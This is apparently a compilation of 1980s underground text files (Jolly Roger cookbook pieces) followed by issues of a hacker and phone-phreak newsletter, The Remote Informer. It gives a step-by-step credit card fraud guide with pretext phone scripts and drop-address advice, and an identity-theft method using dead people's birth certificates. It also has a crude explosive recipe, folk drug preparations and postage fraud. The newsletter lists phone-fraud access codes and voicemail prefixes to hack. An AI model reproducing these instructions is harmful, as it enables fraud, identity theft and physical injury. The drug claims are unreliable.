Lincol, Ma. 41773
Tom Bullshit
20 Fake Road
What Ever, XX 99851
One last thing you might try doing is soaking a cancelled stamp
off of an envelope, and gluing it onto one you are sending. Then burn
the stamp, leaveing a little bit to show that there was one there.
--Exodus
_
Unstable Explosives by the Jolly Roger
Mix solid Nitric Iodine with househould ammonia. Wait overnight and
then pour off the liquid. You will be left with a muddy substance. Let
this dry till it hardens. Now throw it at something!!!!
------------Exodus-----------
_
Weird Drugs by the Jolly Roger
Bananas:
1. Obtain 15 pounds of ripe yellow bananas
2. Peel all and eat the fruit. Save the peelings
3. Scrape all the insides of the peels with a sharp knife.
4. Put all the scraped material in a large pot and add water.
5. Boil 3 or 4 hours until it has attained a solid paste considtency.
6. Spread paste onto cookie sheets and dry in ofen for about 20
minutes. This will result in fine black powder. Usually one will
feel the effects after smoking three to four cigarettes.
Cough syrup:
mix robitussion a-c with an equal amount of ginger ale and drink. The
effect are sedation and euphoria. Never underestimate the effects of
any drug! You can od on cough syrup!
Toads:
1. Collect five to ten toads, frogs will not work. The best kind are
tree toads.
2. Kill them as painlessly as possible, and skin immediately.
3. Allow the skins to dry in a refrigerator four four to five days, or
until the skins are brittle.
4. Now crush the skins into powder and smoke. Due to its bad taste you
can mix it with a more fragrent smoking medium.
Nutmeg:
1. Take several whole nutmegs and grind them up in an old grinder.
2. After the nutmegs are ground. Place in a mortar and pulverize with
a pestle.
3. The usual dosage is about 10 or 15 grams. A larger dose may
produce excessive thirst,anxiety,and rapid hart beat, but
hallucinations are rare.
Peanuts:
1. Take 1 pound of raw peanuts (not roasted)
2. Shell them, saving the skins and discarding the shells.
3. Eat the nuts.
4. Grind up the skins and smoke them.
-------Exodus-------
_
The Art of Carding by the Jolly Roger
Obtaining a credit card number: There are many ways to obtain the
information needed to card something.
The most important things needed are the card number and the expiration
date. Having the card-holders name doesn't hurt, but it is not essential.
The absolute best way to obtain all the information needed is by trashing.
The way this is done is simple. You walk around your area or any other
area and find a store, mall, supermarket, etc., that throws their
garbage outside on the sidewalk or dumpster. Rip the bag open and see
if you can find any carbons at all. If you find little shreds of
credit card carbons, then it is most likely not worth your time to tape
together. Find a store that does not rip their carbons at all or only in half.
Another way is to bullshit the number out of someone. That is call them
up and say "Hello, this is Visa security and we have a report that
your card was stolen." They will deny it and you will try to get it out
of them from that point on. You could say, "It wasn't stolen? Well what
is the expiration date and maybe we can fix the problem....
Ok and what is the number on your card?......Thank you very much and
have a nice day." Or think of something to that degree.
Another way to get card numbers is through systems such as TRW and CBI,
this is the hard way, and probably not worth the trouble, unless you are
an expert on the system. Using credit card numbers posted on BBS's is
risky. The only advantage is that there is a good chance that other
people will use it, thus decreasing the chances of being the
sole-offender. The last method of getting numbers is very good also.
In most video rental stores, they take down your credit card number
when you join to back-up your rentals. So if you could manage to steal
the list or make a copy of it, then you are set for a LONG time.
Choosing a victim: Once you have the card number, it is time to make the
order. The type of places that are easiest to victimize are small
businesses that do mail order or even local stores that deliver.
If you have an ad for a place with something you want and the order number
is NOT a 1-800 number then chances are better that you will succeed.
Ordering: When you call the place up to make the order, you must have
several things readily at hand.
These are the things you will need: A name, telephone number, business
phone, card number (4 digit bank code if the card is MasterCard),
expiration date, and a complete shipping and billing address.
I will talk about all of these in detail. A personal tip: When I call
to make an order, it usually goes much smoother if the person you are
talking to is a woman. In many cases they are more gullible than men.
The name: You could use the name on the card or the name of the person
who you are going to send the merchandise to. Or you could use the name
on the card and have it shipped to the person who lives at the drop
(Say it is a gift or something).
The name is really not that important because when the company verifies
the card, the persons name is never mentioned, EXCEPT when you have a
Preffered Visa card. Then the name is mentioned. You can tell if you
have a Preffered Visa card by the PV to the right of the expiration
date on the carbon. Nophone all day long waiting for the company to call
(Which they will), then the phone number to give them as your home-phone
could be one of the following: A number that is ALWAYS busy, a number
that ALWAYS rings, a payphone number, low end of a loop (and you will wait
on the other end), or a popular BBS.
NEVER give them your home phone because they will find out as soon as
the investigation starts who the phone belongs to. The best thing would
be to have a payphone call forward your house
(via Cosm The business number: When asked for, repeat the number you
used for your home phone.
Card number: The cards you will use will be Visa, Mastercard, and
American Express. The best is by far Visa. It is the most
straight-forward. Mastercard is pretty cool except for the bank code.
When they ask for the bank code, they sometimes also ask for the bank
that issued it. When they ask that just say the biggest bank you know of
in your area. Try to avoid American Express. They tend to lead full
scale investigations. Unfortunately, American Express is the most popular
card out. When telling the person who is taking your call the card
number, say it slow, clear, and with confidence.
e.g. CC# is 5217-1234-5678-9012. Pause after each set of four so you
don't have to repeat it.
Expiration date: The date must be at LEAST in that month. It is best
to with more than three months to go.
The address: More commonly referred to as the 'drop'. Well the drop
can range from an abandoned building to your next door neighbors
apartment. If you plan to send it to an apartment building then be
sure NOT to include an apartment number. This will confuse UPS or postage
men a little and they will leave the package in the lobby.
Here is a list of various drops: The house next door whose family is on
vacation, the apartment that was just moved out of, the old church that
will be knocked down in six months, your friends house who has absolutely
nothing to do with the type of merchandise you will buy and who will
also not crack under heat from feds, etc..
There are also services that hold merchandise for you, but personally
I would not trust them. And forget about P.O. Boxes because you need
ID to get one and most places don't ship to them anyway.
Other aspects of carding:Verifying cards, seeing if they were reported
stolen.
Verifying cards: Stores need to verify credit cards when someone purchases
something with one. They call up a service that checks to see if the
customer has the money in the bank.
The merchant identifies himself with a merchant number. The service
then holds the money that the merchant verified on reserve. When the
merchant sends in the credit card form, the service sends the merchant
the money. The service holds the money for three days and if no form
appears then it is put back into the bank. The point is that if you
want to verify something then you should verify it for a little amount
and odds are that there will be more in the bank.
The good thing about verification is that if the card doesn't exist or
if it is stolen then the service will tell you. To verify MasterCard
and Visa try this number. It is voice:1-800-327-1111 merchant code is
596719.
Stolen cards: Mastercard and Visa come out with a small catalog every
week where they publish EVERY stolen or fraudulantly used card.
I get this every week by trashing the same place on the same day.
If you ever find it trashing then try to get it every week.
Identifying cards: Visa card numbers begin with a 4 and have either 13
or 16 digits. MasterCard card numbers begin with a 5 and have 16 digits.
American Express begins with a 3 and has 15 digits. They all have the
formats of the following:
3xxx-xxxxxx-xxxxx American Express
4xxx-xxx-xxx-xxx Visa
4xxx-xxxx-xxxx-xxxx Visa
5xxx-xxxx-xxxx-xxxx MasterCard
Gold cards: A gold card simply means that credit is good for $5000.
Without a gold card, credit would be normally $2000.
To recognize a gold card on a carbon there are several techniques:
American Express-none.
Visa-PV instead of CV.
Note-When verifying a PV Visa, you have to have the real name of the
cardholder.
Mastercard-An asterix can signify a gold card, but this changes depending
when the card was issued.
I am going to type out a dialog between a carder and the phone operator
to help you get the idea.
Operator: "Over-priced Computer Goods, may I help you?"
Carder: "Hi, I would like to place an order please."
Operator: "Sure, what would you like to order?"
Carder: "400 generic disks and a double density drive."
Operator: "Ok, is there anything else?"
Carder: "No thank you, that's all for today."
Operator: "Ok, how would you like to pay for this? MasterCard or Visa?"
Carder: "Visa."
Operator: "And your name is?"
Carder: "Lenny Lipshitz." (Name on card)
Operator: "And your Visa card number is?"
Carder: "4240-419-001-340" (Invalid card)
Operator: "Expiration date?"
Carder: "06-92."
Operator: "And where would you like the package shipped to?"
Carder: "6732 Goatsgate Port. Paris,texas,010166."
Operator: "And what is your home telephone number?"
Carder: "212-724-9970" (This number is actually always busy)
Operator: "I will also need your business phone number in case we have
to reach you."
Carder: "You can reach me at the same number. 212-724-9970"
Operator: "O.K. Thank you very much and have nice day."
Carder: "Excuse me, when will the package arrive?"
Operator: "In six to seven days UPS."
Carder: "Thanks alot, and have a pleasant day."
Now you wait 6-7 days when the package will arrive to the address which
is really a house up for sale. There will be a note on the door
saying, "Hello UPS, please leave all packages for Lenny Lipshitz in the
lobby or porch. Thanks alot, Lenny Lipshitz" (Make the signature half-way
convincing)
Still as DANGEROUS as ever............. Exodus_
Recognizing credit cards by the Jolly Roger
[Sample: American Express]
XXXX XXXXXX XXXXX
MM/Y1 THRU MM/Y2 Y1
John Doe AX
Explanation:
The first date is the date the person got the card, the second
date is the expriation date, after the expiration date is the same
digits in the first year.The American Express Gold has many more
numbers (I think 6 8 then 8). If you do find a Gold card keep it
for it has a $5000.00 backup even when the guy has no money!
[Sample: Master Card]
5XXX XXXX XXXX XXXX
XXXX AAA DD-MM-YY MM/YY
John Doe.
Explanation:
The format varies, I have never seen a card that did not start with
a 5XXX there is another 4 digits on the next line that is sometimes
asked for when ordering stuff, (and rarely a 3 digit letter combo
(e. ANB). The first date is the date the person got the card
and the second date is the expiration date.
Master Card is almost always accepted at stores.
[Sample: VISA]
XXXX XXX(X) XXX(X) XXX(X)
MM/YY MM/YY*VISA
John Doe
Explanation:
Visa is the most straight forward
of the cards,for it has the name right on the card itself, again the
first date is the date he got the card and the second is the
expiration date. (Sometimes the first date is left out). The
numbers can eather be 4 3 3 3 or 4 4 4 4. Visa is also almost always
accepted at stores, therefore, the best of cards to use.
_
How To Create A New Indentity By The Walking Glitch
Courtesy of the Jolly Roger!
You might be saying, "Hey Glitch, what do I need a new identity for?"
The answer is simple. You might want to go buy liquor somewhere, right?
You might want to go give the cops the false name when you get busted
so you keep your good name, eh? You might even want to use the new
identity for getting a P.O. Box for carding. Sure! You might even
want the stuff for renting yourself a VCR at some dickless loser of a
convenience store. Here we go:
Getting a new ID isn't always easy, no one said it would be. By following
these steps, any bozo can become a new bozo in a coupla weeks.
STEP 1
The first step is to find out who exactly you'll become. The
most secure way is to use someone's ID who doesn't use it themselves.
The people who fit that bill the best are dead. As an added bonus they
don't go complaining one bit. Go to the library and look
through old death notices. You have to find someone who was born about
the same time as you were, or better yet, a year or two older
so you can buy booze, etc. You should go back as far as you can for the
death because most states now cross index deaths to births so people
can't do this in the future. The cutoff date in Wisconsin is 1979, folks
in this grand state gotta look in 1978 or earlier. Anything earier there
is cool. Now, this is the hardest part if you're younger. Brats that
young happen to be quite resilient, takin' falls out of three story windows
and eating rat poison like its Easter candy, and not a scratch or
dent. There ain't many that die, so ya gotta look your ass off. Go
down to the library and look up all the death notices you can,
if it's on microfilm so much the better. You might have to go through
months of death notices though, but the results are well worth it.
You gotta get someone who died locally in most instances: the death
certificate is filed only in the county of death. Now you go down to
the county courthouse in the county where he died and get the
death certificate, this will cost you around $3-$5 depending on the state
you're in. Look at this hunk of paper, it could be your way to
vanish in a clould of smoke when the right time comes, like right after
that big scam. If You're lucky, the slobs parents signed him up with
social security when he was a snot nosed brat. That'll be another piece
of ID you can get. If not, thats ok too. It'll be listed on the death
certificate if he has one. If you're lucky, the stiff was born
locally and you can get his birth certificate right away.
STEP 2
Now check the place of birth on the death certificate, if it's in
the same place you standing now you're all set. If not, you can mail
away for one from that county but its a minor pain and it might
take a while to get, the librarian at the desk has listings of where
to write for this stuff and exactly how much it costs. Get the Birth
cirtificate, its worth the extra money to get it certified
because thats the only way some people will accept it for ID. When yur
gettin this stuff the little forms ask for the reason you want it,
instead of writing in "Fuck you", try putting in the word "Geneology".
They get this all the time. If the Death certificate looks good for
you, wait a day or so before getting the certified birth certificate
in case they recognize someone wanting it for a dead guy.
STEP 3
Now your cookin! You got your start and the next part's easy.
Crank out your old Dot matrix printer and run off some mailing labels
addressed to you at some phony address. Take the time to check your
phony address that there is such a place. Hotels that rent by the month
or large apartment buildings are good, be sure to get the right zip
code for the area. These are things that the cops might notice that
will trip you up. Grab some old junk mail and paste your new lables
on them. Now take them along with the birth certificate down to the library.
Get a new library card. If they ask you if you had one before say that
you really aren't sure because your family moved around alot when
you were a kid. Most libraries will allow you to use letters as a form
of ID when you get your card. If they want more give them a sob story
about how you were mugged and got your wallet stolen with all your
identification. Your card should be waiting for you in about two weeks.
Most libraries ask for two forms of ID, one can be your trusty Birth
Certificate, and they do allow letters addressed to you as a second
form.
STEP 4
Now you got a start, it isn't perfect yet, so let's continue. You should
have two forms of ID now. Throw away the old letters, or better yet
stuff them inside the wallet you intend to use with this stuff.
Go to the county courthouse and show them what nice ID you got and get
a state ID card. Now you got a picture ID. This will take about two weeks
and cost about $5, its well worth it.
STEP 5
If the death certificate had a social security number on it you can go
out and buy one of those metal SS# cards that they sell.
If it didn't, then you got all kinds of pretty ID that shows exactly
who you are. If you don't yet have an SS#, Go down and apply for one,
these are free but they could take five or six weeks to get,
Bureaucrats you know... You can invent a SS# too if ya like, but the motto
of 'THE WALKING GLITCH' has always been "Why not excellence?".
STEP 6
If you want to go whole hog you can now get a bank account in your new
name. If you plan to do alot of traveling then you can put alot
of money in the account and then say you lost the account book. After
you get the new book you take out all the cash. They'll hit you
with a slight charge and maybe tie-up your money some, but if you're
ever broke in some small town that bank book will keep you from being
thrown in jail as a vagrant.
ALL DONE?
So kiddies, you got ID for buying booze, but what else? In some towns
(the larger the more likely) the cops if they catch you for something
petty like shoplifting stuff under a certain dollar amount, will just
give you a ticket, same thing for pissing in the street. Thats it!
No fingerprints or nothing, just pay the fine (almost always over $100)
or appear in court. Of course they run a radio check on your ID, you'll
be clean and your alter-ego gets a blot on his record.
Your free and clear. Thats worth the price of the trouble you've gone
through right there. If your smart, you'll toss that ID away if this
happens, or better yet, tear off your picture and give the ID to someone
you don't like, maybe they'll get busted with it.
If you're a working stiff, here's a way to stretch your dollar. Go to work
for as long as it takes to get unemployment and then get yourself fired.
Go to work under the other name while your getting the unemployment.
With a couple of sets of ID, you can live like a king. These concepts
for survival in the new age come to you compliments of THE WALKING GLITCH.
First release of this phile 7/7/88.
brought to you in the Cookbook IV courtesy of...
--------------Exodus-------------
_
##########################################################################
# #
# The Remote Informer #
# #
#------------------------------------------------------------------------#
# #
# Editors: Tracker, Norman Bates, and Ye Cap'n #
# #
#========================================================================#
# September 26, 1987 Issue: 02 #
#========================================================================#
##########################################################################
# #
# Brought to you by the 'new' TUFF: The Underground Fone Federation #
# #
##########################################################################
==========================================================================
The News
==========================================================================
Sprint Strikes Back | Celestial Elite/TUFF Come to an End
==============================|===========================================
Sprint caught a guy dealing| Celestial Elite and TUFF, the famous
codes on the street in LA|hack/phreak groups came to an end a couple
this past week. Information|weeks ago. TUFF, however, is being reborn
on this bust is limited at|and you can expect it to be back to full
this time. |force within a month. Sources have it that
A seventeen year old was|Magnus Adept, head of the now terminated
busted in Arizona last week.|group, Celestial Elite, has started a new
The name of the teenager will|group called Avalon Kingdom. We are unsure
not be printed to protect him|what plans are in store for it.
from harassment calls. | TUFF has several ideas and plans that
|will be out to the public soon. Look for
>This information was supplied|future issues of The Remote Informer (tm)
by Phreaky Phone II |for new updates.
==========================================================================
Beige Box Bust | TeleNet Hacker | Bate's Motel Moves
==============================|====================|======================
One of our editors and a| Crusader released| Bate's Motel BBS,
member of TUFF, Norman Bates|his TeleNet hacking|run by Norman Bates,
was caught for Beige boxing|program on September|was forced to move. It
that he had done over 3 months|20, 1987. Look for|is temporarily set up
ago. The calls he had made|it on a good board|at (619)267-8619. It
were inside his state and cost|you call. A review|will remain 1200 baud,
a total of $12. He paid the|will be in the next|and a member of the
bill and no charges were filed|issue of The Remote |TUFF Network. It is
against him. |Informer. |open to the public.
==========================================================================
Phreaky Phones Return: Amazing? | LDDS Buys Out TMC: Companies Merge
=====================================|====================================
The original Phreaky Phone numbers| LDDS bought out TMC last month.
now support the new Phreaky Phones.|They merged into LDDS, since it was
The guys running them had protested|bigger and more widespread. Any
that the lines were being monitored.|companies that were subscribing to
There is no way that could have been,|the TMC long distance service were
and they contradicted themselves by|automatically coverted to LDDS. All
restarting Phreaky Phones on the same|local TMC ports still work, but will
numbers. They gave alot of credit|soon be disconnected. Refer to the
to the people calling to suggest they|article on LDDS in this issue for
believe a story like that. |more information on LDDS dial-ups.
==========================================================================
US Sprint Calls Destinations | Pirate's Hollow Is Back With 10 Megs
==========================================================================
US Sprint now calls all the| Pirate's Hollow is back on-line. It
numbers called with unauthorized|now is run a 10 meg hard drive. Unlike
codes. Their dis-advantage is|most boards that have #'s of megs, this
that they are delayed by about|one will stress more attention on it's
two months in calling because|database. The database is scheduled to
they have to wait till people|be online by October 1st. This database
report they did not make calls to|will contain 800+ text files on various
the numbers they were billed for.|topics, with about 60% - 70% pertaining
Best advice is to not call voice|to illegal activities. Unfortunately,
with Sprint except to those who|Trax Xe is being redesigned, so until it
have private lines other than|is finished, it will run on Carina. The
their regular phone line. |number is (415)593-6784 (300/1200 baud).
==========================================================================
Raggers and Braggers
==========================================================================
This section is to make you aware of well-known raggers and braggers.
Since this is the first time this section is being printed, we will tell
you what classifies people as raggers and braggers. In the future issues
the top raggers and braggers will be listed in this newsletter to let the
SysOps know who not to let on their board, or to atleast keep an eye on.
A ragger is someone who will put someone else down for something. The
person might post a message asking a novice question about hacking and
phreaking, or may say something that is completely wrong, and a ragger
will put the other person down for he said, posted, etc. The ones that
usually classify in this category are the ones that think they know it all
and consider themselves right no matter what anyone says. Most of the
users that use codes and consider themselves a master phreaker usually
become raggers.
A bragger is someone who either does or thinks he does know everything,
and puts it upon himself to tell the whole world that he knows it all.
This person is also one who thinks he is better than everyone else and
he believes he is Elite, and no one else is. People who tend to do this
are those who have, for some reason, become well-known in the underworld,
and as a result become a bragger. Those usually not too well-known will
not tend to brag as much as those who think everyone would love to be
their friend and be like them.
As a well-known ragger and bragger, The Toad, learned that it does not
help to be one or both of those. He has since changed and is now easily
accepted by most. Most people disliked him because others they knew had
said something bad about him. This is called peer pressure and is a bad
influence to those who are new to the underworld. I would suggest in the
future, to not judge someone by what others say, but rather by how they
act around/to you.
The current most popular Atarian that classifies as a ragger and a
bragger is Ace of Aces, and is well-hated by many users and SysOps, since
he tends to put down anything anyone says and considers himself the best
at writing hacking programs. He is commonly referred to as Ass of Asses
and Ass of Assholes. Even holding an open mind about this guy, you would
soon come to find that what others said coincides with what you see from
him.
==========================================================================
A New 950 has arrived!
==========================================================================
LDDS, who as mentioned above bought out TMC, is installing a new 950
port to most major cities. By the time you read this, it should be in
almost every area that supports 950 ports. The number is 950-1450. This
port will dial 976 numbers, but not 700, 800, or 900 numbers. The dialing
method for LDDS is: 7 digit code, then even if the code is bad it will
give you a dial tone. Then dial the area code plus the number. If you
have a bad code it will simply say your call cannot be completed as it was
dialed. There is a default code used on the system that currently works.
The code is simply, 1234567. I have seen codes from 5 different companies
and they all are in the format of 00xxxxx. I do not know what type of
software they use, but I will know by the next issue exactly what they
place on the bills. This could be the answer to alot of people's
problems with fear of Sprint and ITT, especially AllNets. Just remember,
Tracker is the one who found this, and all information about it. If
someone is seen saying they found this, then they will be listed in the
next issue which will contain an article on leeches.
==========================================================================
Mailbox Systems
==========================================================================
Mailbox systems are the link between information and the underworld. If
you have ever called one, then you will know the advantages of having one,
especially the ones that are open to whole underworld, rather than just a
select few. There are two types of mailbox systems that are widely used.
The first type we will talk about is the multiple mailbox systems, or
commonly referred to as message systems. These systems have several
mailboxes set up on one number. Usually, you can access other mailboxes
from that number by pressing '*' or '#'. Sometimes you just enter the
mailbox number and you are connected. These are the safest systems to use
to protect information from US Sprint and other long distance companies.
Since US Sprint and other companies call the destination numbers, it is
safer to have 800 mailbox systems, and most of the time, the multiple
mailbox systems are on 800 numbers. The passcode on these systems can
vary in length and can be accessed by several different methods, so it is
impossible to explain exactly how to hack these systems.
The other type is the single mailbox system. These are usually set up
in a reserved prefix in an area code. (Ex: 713-684-6xxx) These systems
are usually controlled by the same type of hardware/software. To access
the area where you enter the passcode, just hit '0' for a second or so.
The passcodes are four (4) digits long. The only way to hack these is
manually. The best thing you could do is to find one that does not have
a recording from a person, but just the digitized voice. If you hack one
that someone already owns, they will report it and it will not last as
long.
Here is a list mailboxes or prefixes to help you get started
--------------------------------------------------------------------------
Single Multiple Digits
------------ ------------ --------
213-281-8xxx 212-714-2770 3
213-285-8xxx 216-586-5000 4
213-515-2xxx 415-338-7000 Aspen Message System 3
214-733-5xxx 714-474-2033 Western Digital
214-855-6xxx 800-222-0651 Vincent and Elkins 4
214-978-2xxx 800-233-8488 3
215-949-2xxx 800-447-8477 Fairylink 7
312-450-8xxx 800-521-5344 3
313-768-1xxx 800-524-2133 RCA 4
405-557-8xxx 800-527-0027 TTE TeleMessager 6
602-230-4xxx 800-632-7777 Asynk 6
619-492-8xxx 800-645-7778 SoftCell Computers 4
713-684-6xxx 800-648-9675 Zoykon 4
800-847-0003 Communications World 3
==========================================================================
The Disclaimer!
==========================================================================
We, the editors, take no responsibility for your actions and use of
the information in this newsletter. This newsletter is for informational
purposes only. If you are easily offended by telecommunication
discussions, then we suggest that you not read this newsletter. But for
those who are truely interested in the information in this newsletter,
enjoy it.
==========================================================================
Coming in the next issue!
==========================================================================
In the next issue, we will be open for suggestions from the readers
of this issue. We will have some featured articles though, which include:
1) Study of bridges
2) Review of Crusader's new TeleNet Hacker
3) More information on the new LDDS 950 port
4) Review of Code Hackers for all modems
5) List of TeleNet addresses
6) Credit Card checkers
7) Ideas from the readers
==========================================================================
Brought to you in Cookbook IV by EXODUS!!!!!!!!!!!!!!!
_
##############################################################################
# _________________________________ #
# /he Remote Informer Newsletter! #
# #
#----------------------------------------------------------------------------#
# November TRI Issue: 03 #
#----------------------------------------------------------------------------#
# #
# The Editors: Tracker, Ye Cap'n, Norman Bates, and The Reporter #
# #
##############################################################################
==============================================================================
= Introduction =
==============================================================================
It's been a month now, and ALOT has happened. So much, in fact, that the
information will be split into several issues. This should be no shock since
I mentioned in the first issue that we may put several issues out sometimes.
I want to congratulate the readers for finally contributing to the
newsletter. This first two issues were all on information that I, myself,
obtained. Several people gave me information for these issues, and their
handle and information is included in the articles.
==============================================================================
= In The News! =
==============================================================================
ITT has 9 digits! | Phreaky Phones Go Down! |Information!
==============================================================================
For those of you who did| The famed Phreaky Phones are down| We have
not know this, ITT has nine|again. Modem Man, the original person|so much info
digit codes. They are said|that started them, has said that they|to put out,
to give better connections|will be down until further notice. In|that we are
to some extent. This info.|the meantime, other independent boxes|putting out
was originally given to us|are being started. A listing can be|many issues
by Party Beast. |made of current ones on request. |at one time.
=================================================================|If you want
Magnus Adept Gets Busted | Sprint Codes Are Dying Fast! |all issues
=================================================================|that are out
Fellow Atarian and well-| Sprint codes are hard to get and|now, then
known phreak Magnus Adept|when they are obtained, they tend to|call one of
got caught by MCI. Details|die rather quickly. Phreakers have|the boards
of the how, when, and where|been saying that the 950-0777 port|at the end
are not known at this time.|is dead, but on the contrary, it is|of the issue
He got caught with 150 codes|still available in states that are|or look for
and may have to pay up to|not highly abused by phreaks. Here|an editor on
50 dollars for each code.|again, rumors are being spread. |a hack BBS.
==============================================================================
= The Best BBS of the Month =
==============================================================================
Starting from now on, we will have a BBS of the month. We will choose a
BBS, ragardless of computer type, and look at the user participation in phreak
related matters, as well as quality discussions on the various illegal topics.
A BBS can remain the BBS of the month as long as they reside above the rest of
the BBS systems. Even though we will sometimes bring out more than one issue
in a month, the board will remain BBS of the month until the first issue inthe
next month comes out.
This month's BBS of the month is FBI PirateNet. We chose this board
because of the large numbers of posts in the bases, and not only information,
but discussions as well, with a minimum number of posts from raggers and
braggers. The number for it is 516-661-7360. The SysOp of FBI PirateNet is
The Phantom, not to be confused with an earlier narc.
==============================================================================
= US Sprint Expected to Trim Staff, Consolidate Divisions =
==============================================================================
New York -- US Sprint Communications Corp., the troubled long distance
carrier, is expected to announce soon that it will cut its work force by
several hundred people and reduce its seven regional divisions to 3 operating
groups, sources familiar with the company said.
The company's Pacific division is based in Burlingame, CA. The layoffs
and reorganization are part of a plan by US Sprint's new president, Robert H.
Snedaker, to reduce heavy operating losses, which analysts expect to reach
more than $800 million this year.
Snedaker replaced Charles M. Slibo, who was forced to resign in July
because losses were running much higher than the parent companies had
expected. Problems with the company's computerized billing system also
contributed to Skibo's ouster. US Sprint is owned and operated by the GTE
Corp. and United TeleCom.
According to sources close to Snedaker, who was vice chairman and chief
operating officer of United TeleCom, he is planning to consolidate the
company's 7 divisions, which operate in the same geographical regions as the
seven regional Bell operating companies, into 3 divisions.
The rationale for the move, according to idustry analysts, is that the
company will need a much smaller work force once it begins handling all it's
phone traffic on it's new fiber optic network, which can carry a greater
number of telephone calls at less cost. Company officials have said that
they expect to have most of the traffic on the network by early next year.
One source said that there would be more than one round of layoffs in the
coming months and that the company ultimately plans to reduce its 14,000
member work force by 15 percent.
Several top managers are expected to resign as soon as US Sprint
centralizes its marketing and support operations as its headquarters in Kansas
City, MO., according to a report in the latest issue of Business Week
magazine.
A spokesman for US Sprint said on Friday that the company would not
comment on the rumors. The company is the nation's third largest long
distance company, after the American Telephone and Telegraph Co. (AT&T) and
MCI Communications Co.
Last year, Washington based MCI undertook a similar reorganization in
which it posted a $502.5 million loss to write down old inventory and
restructure operations.
Analysts said that is US Sprint is to turn a profit, the company must
increase its market share. "To do this, US Sprint must gain more large
business customers, which account for about 80 percent of industry revenues,"
said Robert B. Morris III, Securities in San Francisco.
Morris said that by using a slick marketing campaign to differentiate its
all-fiber telephone network from those of competitors, US Sprint more than
doubled its customer base last year. But "most of these customers were
residential and small business users that added little to Sprint's bottom
line," he added. "If the company expects to be profitable, it will have to
concentrate on providing the best service to volume users."
] This information was supplied by Ye Cap'n
==============================================================================
= Secret Service Cracks Down on Teen Hackers =
==============================================================================
Mount Lebanon, PA -- The US Secret Service and local police departments
have put a scare into the hacker community with a nationwide crackdown on
computer crime that has resulted in the arrests of teenage hackers in at least
three cities.
"People who monitor the bulletin boards say there are a lot of nervous
hackers out there, wondering who will be arrested next," says Ronald E.
Freedman, vice-president of Advanced Information Management, a Woodbridge, VA
base computer security firm.
Nine teenagers from Mount Lebanon Junior-Senior High School near
Pittsburg, PA, were arrested recently and charged with computer fraud. The
juveniles allegedly used home computers to gain illegal access to a credit
card authorization center. They obtained valid credit card numbers and used
them to purchase thousands of dollars worth of mail order merchandise, the
police said.
Freedman says it appears the hackers used some relatively sophisticated
techniques in the scheme, including specially written software that enabled
them to bypass security controls and navigate through credit records to obtain
key information.
Police officials say that the hackers also obtained access codes from
pirate bulletin board systems to make free long distance calls and gain access
to various business and government computers.
The arrests were the result of a 6 week investigation by the Secret
Service and the Mount Lebanon police. The police were tipped off by parents
who were suspicious about how their son managed to obtain a skateboard valued
at $140.
The Secret Service was also involved in investigations that led to the
arrests of several hackers in San Francisco and New York last July.
Secret Service spokesman William Corbett says that although some reports
have portrayed the hackers as part of a national crime ring, the cases are
unrelated. "It's just that a few of these computers hacking cases came to a
head at about the same time," he says.
Federal Legislation enacted in 1984 gives the Secret Service, part of the
Department of the Treasury, a major role in investigating computer crimes.
Under the federal Computer Fraud and Abuse Act of 1986, computer fraud is a
felony that carries a maximum penalty of 5 years for the first offense, and 10
years for the second. Displaying unauthorized passwords on hacking bulletin
boards carries a maximum penalty of 1 year in prison for the first offense,
and 10 years for the second.
] This information was supplied by Ye Cap'n
==============================================================================
= German Teens Crack NASA =
==============================================================================
Washington, D.C. -- A group of West German teenagers from the Chaos
Computer Club penetrated a NASA network recently, saying they were doing it to
"test the security."
What they got into was SPAN Net, a computer network with about 700 notes,
which is actually based at the Goddard Space Center in Maryland. All that's
in there is unclassified data, space science information, and post-flight data
anaysis. "Anyone with NASA related research can apply for access to SPAN"
says a spokesman, who adds that the network runs on DEC VAX hardware. "We
picked up three attempts to gain access and put in security precautions so it
would't happen." His personal opinion is, "We're happy that they couldn't get
back in, and decided to go public." He also added that NASA has many other
networks, many of the classified and "probably inpenetrable. But I do not
want to challenge anybody."
How'd they get in? Probably they got a West German NASA licensee, which
gave them a visitor's pass, then they created new passwords with unlimited
security for themselves, after which getting around the network was easy.
] Supplied by Ye Cap'n
==============================================================================
We look for information in anyway related to the newsletter. If you have
something of interests, or something that you saw on television, or in the
newspaper, then upload it to one of the boards listed below. You will receive
full credit.
Pirate's Hollow..................................................(415)593-6784
Bate's Motel.....................................................(619)267-0293
==============================================================================
_
##############################################################################
# _________________________________ #
# /he Remote Informer Newsletter! #
# #
#----------------------------------------------------------------------------#
# November TRI Issue: 04 #
#----------------------------------------------------------------------------#
# #
# The Editors: Tracker, Ye Cap'n, Norman Bates and The Reporter #
# #
##############################################################################
==============================================================================
= FCC Charges Much Ado About Not Much =
==============================================================================
New Cannan, CT -- International Resource Develope of New Cannan, CT says
that the market bubble for packet switch networks like TeleNet is going to
burst by 1991, regardless of what the Federal Communications Commission does
about access charges. Cheap fiber, which greatly increases the capacity, and
ISDN services, which let you share a phone line with your computer, will do
the business in, the report says. Over the next four years, however, the
demand for packet switch services to will grow from $650 million to $1,612
million (If the Baby Bells are allowed to add competition to the market, the
$5/hour access charge cannot be passed though to the customers anyway).
] Supplied by Ye Cap'n
==============================================================================
= Pirate's Hollow Update =
==============================================================================
San Carlos, CA -- The Pirate's Hollow, one of the more popular BBS's in
the Bay Area, is installing several new features that will even add to it's
popularity. For one, users will be able to gamble against each other by
betting on NFL games and participating in the Pirate's Hollow Lottery. Also,
in order to support one of the best newsletters around, the Pirate's Hollow
will soon be adding a seperate module that will act as an outpost for The
Remote Informer. This module will feature the older issues of the newsletter,
a section that will keep you abreast of updates of recently released
information, and a section that will show what is upcoming in the next issues
of The Remote Informer.
The long-awaited database will soon be put online. Over 800 textfiles
on a variety of subjects will be available to the users that pay the access
fee that will be determined at a later date. Many more are on the way, and
will be included at no charge. The charge will be a one time charge though,
rather than a yearly payment.
Another new option will be available by early December. PC Pursuit
callback will be installed. This will allow people to call and then get
called back if your area code is supported by PC Pursuit. This will also
require a charge, to be set at a later date.
The Pirate's Hollow has been doing well in its comeback to the
telecommunications world, but we need more callers in order to formulate a
more diverse user base. Please spread the BBS # around while also trying to
make others aware of the newsletter.
==============================================================================
= Switching Systems =
==============================================================================
There are currently three different forms of switching systems that are
present in the United States today. Step by Step (SxS), Crossbar, and the
Electronic Switching System (ESS) make up the group. Phreaks have always been
a little tenative when it comes to "doing their work" once they have heard
about effects of switching systems on their hobby. After researching this
topic, I have found that there really is not that much to be worried about.
Read on, while I share with you information which I have compiled about all of
these switching systems and their distinct features.
